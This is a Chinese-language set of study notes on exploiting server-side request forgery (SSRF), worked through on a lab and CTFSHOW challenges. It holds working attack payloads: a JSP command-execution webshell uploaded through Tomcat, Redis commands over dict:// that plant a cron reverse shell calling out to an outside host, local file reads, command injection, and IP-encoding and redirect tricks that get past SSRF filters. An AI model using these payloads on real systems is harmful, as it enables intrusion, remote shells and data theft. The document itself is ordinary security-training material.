WEB攻防-SSRF利用绕过-伪协议&IP及域名
SSRF漏洞原理


服务器端请求伪造,也称为SSRF(Server-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校验,导致攻击者可以构造一些恶意的URL让服务器去访问执行。
主要安全影响:
- 读取服务器本地文件:file协议
- 探测内网存活主机和开放端口:发现内网里的所有服务器等设备,mysql、其他端口
- 攻击其他内网服务器及服务:先探测后攻击,有web服务攻击web服务,有其他服务攻击其他服务
SSRF伪协议利用
- http:// Web常见访问,如http://127.0.0.1
- file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
- dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp:// SSH文件传输协议或安全文件传输协议
- ldap:// 轻量级目录访问协议
- tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务,可使用gopherus生成payload 由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等),解决部分网页不能以post发包
测试
有回显



无回显 — > 使用DNS-log,有记录则有漏洞,反之没有

方法1:使用yakit生成dnslog,进行反连测试

尝试访问

显示连接记录(暴露真实ip)

方法2:在自己公网服务器上使用python启用http.server
python3 -m http.server
记录下服务器 ip:8000
被访问就有实时记录(并且暴露真实ip,破解cdn)
靶场 ssrf-vul
搭建
服务器:阿里云ubuntu16.04按量付费
docker-compose.yaml中将“3”版本改为“2”
靶场项目地址:https://github.com/sqlsec/ssrf-vuls
docker-compose up -d
查看9080端口是否开放
netstart -anpt
访问公网服务器ip:9080

测试
漏洞探测:
传入www.baidu.com http://127.0.0.1 发现均被执行,返回相应页面 — > 存在ssrf
读取文件
读取本地host文件/etc/hosts,发现其内网地址和相关部分ip

探测内网存活主机和开放端口
扫ip:抓包使用 burpsuite 字典批量攻击



扫端口:自定义字典常见端口 80 3306 21 1433 6379
第一个payload就写刚才扫出来的ip,第二个写常见端口


观察扫描结果发现相关信息

攻击其他内网主机和服务
- 内网目录扫描 主机:172.150.23.22 进行目录扫描 burp使用fuzz字典,发现后门shell.php,接管权限getshell

- gopher协议使用 主机:172.150.23.24 命令执行漏洞,但是执行结果因为是嵌套了两层网页(访问是由服务器进行访问,然后渲染到主机显示),显示不成功
127.0.0.1;cat /flag
所构造的payload”127.0.0.1;cat flag”为post包,但是web页面仅提供了一个输入框,发出去的包为get包 方法:使用**gopher://**协议发包 要让服务器去触发这个数据包
由于这个数据包是个post请求 将post转为gopher协议,编码url两次 gopher://ip:port/_post包url编码两次的结果开始操作 抓刚才构造的payload的包,改 改ip地址,删Accept-Encoding字段 特别注意:要使用gopher协议,不能有Accept-Encoding字段
复制后回到改之前的包下

- 172.150.23.24 gopher协议利用 Tomcat命令执行漏洞 172.150.23.26:8080下有Tomcat服务

PUT /1.jsp/ HTTP/1.1 Host: 172.150.23.26:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 460 <% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); } %>payload:使用put写入后门代码在1.jsp中 把构造的put包进行url两次编码后使用gopher协议封装 发送
- Redis攻防-dict协议使用 主机:172.150.23.27:6379 查看Redis服务是否开启
dict://172.150.23.27:6379/info
#创建监听服务器 在其他公网服务器x.x.x.x上,监听2333端口 nc -lvvp 2333
# 清空 key dict://172.150.23.27:6379/flushall
设置要操作的路径为定时任务目录 dict://172.150.23.27:6379/config set dir /var/spool/cron/
在定时任务目录下创建 root 的定时任务文件 dict://172.150.23.27:6379/config set dbfilename root
写入 Bash 反弹 shell 的 payload,其中x.x.x.x为监听服务器地址 dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作 dict://172.150.23.27:6379/save
最后查看监听情况,获取shell
- Redis攻防-dict协议使用 主机:172.150.23.27:6379 查看Redis服务是否开启
- MYSQL攻防 mysql未授权访问 主机:172.150.23.29:3306

不能交互式使用mysql完成操作 –> 使用gopher协议完成 连接数据库,并执行sql语句 操作
工具项目:https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit mysql
root
show variables like '%plugin%'
后续再url编码一次


SSRF过滤绕过
CTFSHOW 白盒
- 1、无过滤直接获取
url=http://127.0.0.1/flag.php - 2-3、IP地址进制绕过 十六进制编码
url=http://0x7F.0.0.1/flag.php八进制url=http://0177.0.0.1/flag.php10 进制整数格式url=http://2130706433/flag.php16 进制整数格式,还是上面那个网站转换记得前缀0xurl=http://0x7F000001/flag.php还有一种特殊的省略模式127.0.0.1写成127.1用CIDR绕过localhosturl=http://127.127.127.127/flag.php还有很多方式url=http://0/flag.php url=http://0.0.0.0/flag.php - 4、域名解析IP绕过(实用) 申请域名test.xiaodi8.com设置解析为127.0.0.1 test.xiaodi8.com -> 127.0.0.1
url=http://test.xiaodi8.com/flag.php - 5、长度限制IP绕过
url=http://127.1/flag.php - 6、长度限制IP绕过
url=http://0/flag.php - 7、利用重定向解析绕过 自己公网服务器x.x.x.x上启用web服务,将xx.php写入如下内容进行重定向
<?php header("Location:http://127.0.0.1/flag.php");访问这个xx.php就会重定向到127.0.0.1/flag.phpurl=http://x.x.x.x/xx.php - 8、匹配且不影响写法解析 需要在参数同时存在ctf、show、 http: 以下写法不影响解析
url=http://ctf.@127.0.0.1/flag.php?show - 9-10、利用gopher协议打服务 参考上述工具项目
WEB攻防-SSRF挖掘思路-功能逻辑
SSRF漏洞挖掘
核心思想:网站上的某些功能,会对用户自己传入的信息进行自动解析、操作
黑盒探针:
- 业务功能点 1.社交分享功能:获取超链接的标题等内容进行显示 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 3.在线翻译:给网址翻译对应网页的内容 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数 9.邮件系统:比如接收邮件服务器地址 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
- URL关键参数 抓包查看数据包有无相关参数,尝试修改 share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain
白盒分析
见代码审计(文件读取,加载,数据操作类的函数)
本节知识点
WEB攻防-SSRF利用绕过-伪协议&IP及域名
WEB攻防-SSRF挖掘思路-功能逻辑&SRC复盘
